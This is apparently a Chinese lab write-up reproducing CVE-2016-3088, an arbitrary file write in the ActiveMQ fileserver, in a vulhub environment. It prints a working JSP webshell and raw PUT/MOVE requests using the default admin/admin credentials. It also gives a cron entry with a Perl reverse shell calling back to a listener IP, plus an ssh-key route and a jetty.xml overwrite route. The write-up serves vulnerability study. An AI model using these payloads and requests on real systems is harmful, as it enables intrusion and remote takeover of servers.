当前位置: 首页 > news >正文

CVE-2016-3088(ActiveMQ任意文件写入漏洞)

漏洞描述

        1、漏洞编号:CVE-2016-3088

        2、影响版本:Apache ActiveMQ 5.x~5.13.0

        在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默认关闭了 fileserver 这个应用(不过,可以在conf/jetty.xml 中开启);在 5.14.0 版本后彻底删除了 fileserver 应用。【所以在渗透测试过程中要确定好 ActiveMQ 的版本,免去无用功】

漏洞介绍

        该漏洞出现在 fileserver 应用中,漏洞原理是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。所以我们只需写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。

写入文件方法

  • 写入 webshell
  • 写入 cron 或 ssh key 等文件
  • 写入 jar 或 jetty.xml 等库和配置文件

启动漏洞环境

docker-compose up -d

docker-compose ps 

访问 WEB 页面,版本在漏洞影响范围内

方法一:写入 webshell

【该方法的使用条件】

1、需要知道 ActiveMQ 的绝对路径

2、需要能登录 admin 或者 api

【分析条件】

1、ActiveMQ 的绝对路径可以通过 http://your-ip:8161/admin/test/systemProperties.jsp 页面获取,不过该页面需要登录才能访问。

2、获取用户名和密码,可以通过弱口令、暴力破解、社工等方法(不过题目已经给出了默认用户名和密码 admin/admin,这里就省去了这个步骤)

【解题思路】

进入页面

下一步,上传 webshell

需要把 webshell 上传到 fileserver,然后才能从 fileserver 转移。因为 ActiveMQ 是个 java 程序,因此需要传个 jsp webshell

直接在上图页面抓包即可,下面是刚抓到包后的样子,接下来对数据包进行修改

这是我们的 webshell 代码

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

修改成下图所示,然后发送即可得到响应(204 表示操作成功)

然后在上面基础上继续修改该包,把 PUT 改成 MOVE ,然后在下一行添加

Destination: file:///opt/activemq/webapps/admin/1.jsp

用 MOVE 方法将 webshell 移动到 admin 所在文件夹,响应 204 表示操作成功

【当然了,移动到 api 下也是可以的,我这边移动到 admin 目录下】

接下来就可以使用蚁剑进行连接了【这里用的是 kali 中的蚁剑】

不知道 kali 中怎么使用蚁剑的看这里

VMware之kali安装中国蚁剑_kali如何打开蚁剑-CSDN博客

重点是记住 admin 应用是需要登录的,所以记得一定要在连接中添加 Authorization 头

Authorization:YWRtaW46YWRtaW4=

测试连接,连接成功

方法二:写入 ssh key

【前提条件】

1、需要运行 ActiveMQ 的用户有 root 权限

2、需要服务器开启了 ssh 服务,并且攻击机可以连接

【分析条件】

1、

发现该用户是 root 权限,条件一满足

2、可以使用 nmap 工具来探测服务器是否开启了 ssh 且可达

nmap -sV your-ip -p-

发现只开启了 8161、61616 端口且可达,没有开启 ssh 服务,所以条件二不满足,写入 ssh key 的方法行不通

方法三:写入 cron 拿反弹 shell

【前提条件】

1、需要运行 ActiveMQ 的用户有 root 权限

2、服务器开启了 cron 服务

3、运行 ActiveMQ 的用户有使用 crontab 的权限

【拓展】

1、cron 是 Linux 系统的守护进程,用于在特定时间自动执行重复任务。

2、标准 shell 是攻击者作为客户端去连接目标服务器;反弹 shell 是攻击者作为服务器,监听某端        口,而目标设备作为客户端主动连接攻击者

      应用场景:

      ①、目标机在局域网内

      ②、目标机 ip 地址是动态的

      ③、有防火墙等限制,目标机只能发请求,不能收请求

      ④、不确定目标机何时具备连接条件

【条件分析】

1、前面已经分析过了,确实是 root 权限

2、经过下列分析得到开启了 cron 服务(root 权限对该文件可读可写)

3、第三点条件默认情况是满足的,除非存在 cron.allow 或者 cron.deny 文件,但这两个文件在            vulhub 提供的漏洞环境中不存在,因此理论上可以写入 cron 拿反弹 shell

【cron.allow 文件和 cron.deny 文件】

cron.allow cron.deny 是限制 crontab 命令使用的用户名单。allow 是允许使用 crontab 命令的用户,deny 是不允许使用 crontab 命令的用户。

两份文件不一定都存在,在 Linux 中,会做如下规定:

(1)如果 cron.allow 文件存在但 cron.deny 文件不存在,那么在文件中写下的用户名,允许执行 crontab 命令。

(2)如果 cron.deny 文件存在但 cron.allow 文件不存在,那么在文件中写下的用户名,不允许执行 crontab 命令。

(3)如果两份文件都存在,那么只有 allow 文件具备优先权,只能使用 allow 文件来做限定用户。

(4)如果两份文件都不存在,那么会根据相关配置文件(depending on site-dependent configuration parameters),要么只有 root 用户允许执行该命令,要么所有的用户都能执行该命令。

【解题思路】

1、上传 cron 文件到 fileserver

2、把 cron 文件从 fileserver 移动到 /etc/cron.d/

2、攻击机上开启监听并等待反弹 shell 连接

反弹shell的方法总结 - FreeBuf网络安全行业门户

【内容截取自:vulhub ActiveMQ任意文件写入漏洞 (CVE-2016-3088) - FreeBuf网络安全行业门户】

/etc/cron.d 攻略_51CTO博客_/etc/cron.hourly

反弹 shell 内容:

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##

抓包上传

PUT /fileserver/cron.txt HTTP/1.1Host: 0.0.0.0:8161User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Basic YWRtaW46YWRtaW4=Connection: closeCookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jizUpgrade-Insecure-Requests: 1Content-Length: 254*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'##

上传成功,移动文件到目标目录中

MOVE /fileserver/cron.txt HTTP/1.1Destination: file:///etc/cron.d/rootHost: 0.0.0.0:8161User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Basic YWRtaW46YWRtaW4=Connection: closeCookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jizUpgrade-Insecure-Requests: 1Content-Length: 254*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'##

在终端输入

nc -l -p 7777 

输入完后等待即可

可以做一些操作

方法四:修改 jetty.xml

【前提条件】

1、需要知道 ActiceMQ 的绝对路径

2、需要有 jetty.xml 的写权限

【分析】

使用该方法主要是来突破 admin 应用和 api 应用的访问控制权限。大概就是修改 jetty.xml 文件。使 admin 和 api 应用不用登录,然后写入webshell

(通过大佬的文章还提供了另一种思路:修改 jetty-realm.properties 文件中的用户密码,不过由于 jetty.xml 中限制了用户名,所以修改 jetty-realm.properties 文件的方法还需要一个前提是知道用户名,这个方法相对上面那个麻烦)

【完整的攻击思路】

1、获取 ActiveMQ 的绝对路径

2、上传修改后的 jetty.xml 文件到 fileserver

3、转移上传的 jetty.xml 文件到 ActiveMQ 的绝对路径 /conf/jetty.xml,覆盖原本的 jetty.xml          文件,目的是绕过 admin 和 api 的登录

4、上传 webshell 到 fileserver

5、转移 webshell 到 admin 或 api 的目录下

6、连接 webshell

【目前我也没成功,也没有找到有成功的文章,都是写理论上可行,有推荐的兄弟和我说一下】

相关文章:

CVE-2016-3088(ActiveMQ任意文件写入漏洞)

漏洞描述 1、漏洞编号&#xff1a;CVE-2016-3088 2、影响版本&#xff1a;Apache ActiveMQ 5.x~5.13.0 在 Apache ActiveMQ 5.12.x~5.13.x 版本中&#xff0c;默认关闭了 fileserver 这个应用&#xff08;不过&#xff0c;可以在conf/jetty.xml 中开启&#xff09;&#xff1b;…...

270.【华为OD机试真题】字符串拼接(深度优先搜索(DFS)-JavaPythonC++JS实现)

🚀点击这里可直接跳转到本专栏,可查阅顶置最新的华为OD机试宝典~ 本专栏所有题目均包含优质解题思路,高质量解题代码(Java&Python&C++&JS分别实现),详细代码讲解,助你深入学习,深度掌握! 文章目录 一. 题目-字符串拼接二.解题思路三.题解代码Python题解代…...

线阵相机参数介绍之轴编码器控制

1.1 功能介绍 编码器是将检测对象的运动与相机拍摄取图相匹配的设备&#xff0c;也即检测对象运动一定距离&#xff0c;相机就拍摄一定行高的图像。 编码器会将检测对象的实际位移转换为固定数量电信号。例如&#xff1a;编码器的精度是2000p/r,该参数的含义是编码器每转一圈输…...

【JavaEE】_HTTP响应

目录 1. 首行 2. 报头header 3.空行 4. 正文body 1. 首行 响应首行&#xff1a;版本号状态码状态码描述&#xff1b; HTTP状态码描述了这次响应的结果&#xff08;比如成功、失败&#xff0c;以及失败原因等&#xff09;&#xff1b; 1. HTTP状态码有&#xff1a; &#…...

SQL防止注入工具类,可能用于SQL注入的字符有哪些

SQL注入是一种攻击技术&#xff0c;攻击者试图通过在输入中注入恶意的SQL代码来干扰应用程序的数据库查询。为了防止SQL注入&#xff0c;你需要了解可能用于注入的一些常见字符和技术。以下是一些常见的SQL注入字符和技术&#xff1a; 单引号 ​&#xff1a; 攻击者可能会尝试…...

【数学建模入门】

数学建模入门 数学建模需要的学科知识怎么学习数学模型如何读好一篇优秀论文数学建模赛题常见类别数学建模常见问题数学建模组队和分工数学建模准备工作 数学建模需要的学科知识 怎么学习数学模型 &#x1f4a6;推荐阅读书籍&#xff1a; 《数学建模算法与应用》&#xff0c;…...

ansible剧本中的角色

1 roles角色 1.1 roles角色的作用&#xff1f; 可以把playbook剧本里的各个play看作为一个角色&#xff0c;将各个角色打的tasks任务、vars变量、template模版和copy、script模块使用的相关文件等内容放置在指定角色的目录里统一管理&#xff0c;在需要的时候可在playbook中使…...

weblog项目开发记录--SpringBoot后端工程骨架

知识点查漏补缺 跟着犬小哈做项目实战时发现好多知识点都忘了&#xff0c;还有一些小的知识点可能之前没学过&#xff0c;记录下&#xff01;顺带整理下开发流程。 完整项目学习见犬小哈实战专栏 SpringBoot后端工程骨架 搭建好的工程骨架中实现了很多基础功能&#xff0c;…...

axios封装终极版实现token无感刷新及全局loading

前言 关于axios全局loading的封装博主已经发过一次了&#xff0c;这次是在其基础上增加了token的无感刷新。 token无感刷新流程 首次登录的时候会获取到两个token&#xff08;AccessToken&#xff0c;RefreshToken&#xff09;持久化保存起来&#xff08;localStorage方案&a…...

推荐一个内网穿透工具,支持Windows桌面、Linux、Arm平台客户端

神卓互联是一款常用的内网穿透工具&#xff0c;它可以将本地服务器映射到公网上&#xff0c;并提供域名或子域名给外部访问。神卓互联具有简单易用、高速稳定的特点&#xff0c;支持Windows桌面版、Linux版、Arm版客户端&#xff0c;以及硬件等。 神卓互联内网穿透技术简介 企…...

【linux】vim多行操作命令

文章目录 1. vim多行同时修改2. vim复制/移动多行3. vim删除多行4. vim设置缩进空格 回顾&#xff1a;vi/vim常用命令 1. vim多行同时修改 &#xff08;1&#xff09; ctrl v &#xff08;2&#xff09; 按 下箭头&#xff0c;选择多行 &#xff08;3&#xff09; shift i,…...

vue-router钩子函数有哪些?都有哪些参数?

Vue.js是一款流行的JavaScript框架&#xff0c;它提供了大量的工具和特性&#xff0c;使得web前端开发更加高效和灵活。其中之一就是Vue-router&#xff0c;它是Vue.js官方路由插件&#xff0c;可以实现前端路由的管理和控制。在使用Vue-router时&#xff0c;我们可以利用钩子函…...

基于JavaWeb开发的小区车辆登记系统计算机毕设[附源码]

基于JavaWeb开发的小区车辆登记系统计算机毕设[附源码] &#x1f345; 作者主页 央顺技术团队 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; &#x1f345; 文末获取源码联系方式 &#x1f4dd; &#x1f345; 查看下方微信号获取联系方式 承接各种定制系统…...

【开源】SpringBoot框架开发高校宿舍调配管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能需求2.1 学生端2.2 宿管2.3 老师端 三、系统展示四、核心代码4.1 查询单条个人习惯4.2 查询我的室友4.3 查询宿舍4.4 查询指定性别全部宿舍4.5 初次分配宿舍 五、免责说明 一、摘要 1.1 项目介绍 基于JAVAVueSpringBootMySQL的…...

高压开关柜实现无线测温监测的关键点

一、概述 近年来&#xff0c;电厂自动化、信息化飞速发展&#xff0c;加快了对高压开关柜内的温度检测技术的研究。一系列的开关柜的无线测温监测技术也因此应运而生&#xff0c;并且发挥着越来越重要的作用。高压开关柜是发电厂、变电站、动力车间最重要的电气设备&#xff0c…...

在线图片生成工具:定制化占位图片的利器

title: 在线图片生成工具&#xff1a;定制化占位图片的利器 date: 2024/2/20 14:08:16 updated: 2024/2/20 14:08:16 tags: 占位图片网页布局样式展示性能测试响应式设计在线生成开发工具 在现代的网页设计和开发中&#xff0c;占位图片扮演着重要的角色。占位图片是指在开发过…...

闭包----闭包的理解、优点

1、闭包的理解 闭包就是能够读取其他函数内部变量的函数。 由于在 javascript 中&#xff0c;只有函数内部的子函数才能读取局部变量&#xff0c;所以说&#xff0c;闭包可以简单理 解成 “ 定义在一个函数内部的函数 “ 。 所以&#xff0c;在本质上&#xff0c;闭包是将…...

jenkins的nmp install命令无法下载包

问题&#xff1a;在jenkin的流水线脚本中执行到&#xff1a;npm install命令后无法下载前端依赖包 1、进到jenkins的工作目录&#xff0c;一般在底层为/var/lib/jenkins/workspace/任务名称 cd /var/lib/jenkins/workspace/xkc处理方式&#xff1a; # 查看镜像源 npm config …...

Collection集合体系(ArrayList,LinekdList,HashSet,LinkedHashSet,TreeSet,Collections)

目录 一.Collection 二.List集合 三.ArrayList集合 四.LinkedList集合 五.Set集合 六.hashSet集合 七.LinkedHashSet集合 八.TreeSet集合 九.集合工具类Collections 集合体系概述 单列集合&#xff1a;Collection代表单列集合&#xff0c;每个元素&#…...

Job 和 DaemonSet

一、Job 1、Job 背景问题 K8s 里&#xff0c;最小的调度单元是 Pod&#xff0c;如果直接通过 Pod 来运行任务进程&#xff0c;会产生以下几种问题&#xff1a; ① 如何保证 Pod 内进程正确的结束&#xff1f; ② 如何保证进程运行失败后重试&#xff1f; ③ 如何管理多个任…...

游戏盾导致 Unity/UE 引擎崩溃的主要原因排查?

做游戏上线的都知道&#xff0c;游戏盾是必装的——毕竟要防外挂、防攻击&#xff0c;不然刚上线就被搞崩&#xff0c;损失太大。但最近帮几个同行排查问题&#xff0c;发现好多项目接入游戏盾后&#xff0c;Unity和UE引擎动不动就崩&#xff0c;要么内存飙到爆&#xff0c;安卓…...

OpenClaw × 88API:10 分钟搭好本地网关,解决 API 超时和多渠道切换(2026 完整教程)

你可能也踩过这些坑&#xff1a;项目快提测了&#xff0c;Claude API 突然超时&#xff0c;重试半天还是报错想临时换一个中转站兜底&#xff0c;结果又要改一遍 base_url、api_key、模型名一个渠道支持 Claude&#xff0c;不支持 Gemini&#xff1b;另一个支持 GPT&#xff0c…...

嵌入式软件开发中的柔性数组机制

在嵌入式系统开发中,内存资源始终是最核心的约束之一。无论是微控制器还是低功耗控制终端,程序设计都必须在有限的存储空间中实现功能、效率与可靠性的平衡。因此,开发者不仅需要关注算法逻辑,还必须重视数据结构对内存的占用方式。 在这种背景下,柔性数组成为嵌入式软件…...

雯雯的后宫-造相Z-Image-瑜伽女孩部署避坑指南:xinference.log日志错误排查大全

雯雯的后宫-造相Z-Image-瑜伽女孩部署避坑指南&#xff1a;xinference.log日志错误排查大全 部署一个AI文生图模型&#xff0c;最让人头疼的往往不是写提示词&#xff0c;而是服务启动时那一串串让人摸不着头脑的日志。特别是当你满怀期待地部署“雯雯的后宫-造相Z-Image-瑜伽…...

保姆级教程:用PyTorch从零复现DeepLab v3+(附MobileNet v2/Xception双Backbone代码详解)

从零构建DeepLab v3语义分割模型&#xff1a;MobileNet v2/Xception双主干网络实战指南 1. 语义分割与DeepLab v3架构精要 语义分割作为计算机视觉领域的核心任务之一&#xff0c;要求模型对图像中的每个像素进行分类&#xff0c;实现像素级的语义理解。不同于传统的图像分类…...

UE5 C++ 新手避坑指南:从零搭建汽车交互项目(含PhysXVehicles模块配置)

UE5 C 汽车交互开发实战&#xff1a;从模块配置到物理驾驶系统 第一次打开UE5的C项目时&#xff0c;那种既兴奋又忐忑的心情至今记忆犹新。作为一个从蓝图转向C开发的"半路出家"程序员&#xff0c;我清楚地记得在配置PhysXVehicles模块时踩过的那些坑——莫名其妙的编…...

新手零基础入门:在快马平台上用jupyter notebook学习python数据分析

作为一个刚接触Python数据分析的小白&#xff0c;最近在InsCode(快马)平台上发现了一个超实用的学习方式——用Jupyter Notebook零基础入门。这个交互式工具简直是为新手量身定制的&#xff0c;特别适合像我这样不想折腾环境配置的人。下面分享我的学习笔记&#xff0c;记录如何…...

解决游戏控制器兼容性难题:ViGEmBus驱动全攻略

解决游戏控制器兼容性难题&#xff1a;ViGEmBus驱动全攻略 【免费下载链接】ViGEmBus Windows kernel-mode driver emulating well-known USB game controllers. 项目地址: https://gitcode.com/gh_mirrors/vi/ViGEmBus 问题诊断篇&#xff1a;游戏控制器兼容性痛点分析…...

Scarab:空洞骑士模组管理的终极解决方案

Scarab&#xff1a;空洞骑士模组管理的终极解决方案 【免费下载链接】Scarab An installer for Hollow Knight mods written in Avalonia. 项目地址: https://gitcode.com/gh_mirrors/sc/Scarab 空洞骑士模组管理工具Scarab是专为《空洞骑士》玩家设计的自动化模组管理器…...

第一次尝试使用制作HTML列表与表格

一、利用<li>标签&#xff0c;完成此次列表<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>列…...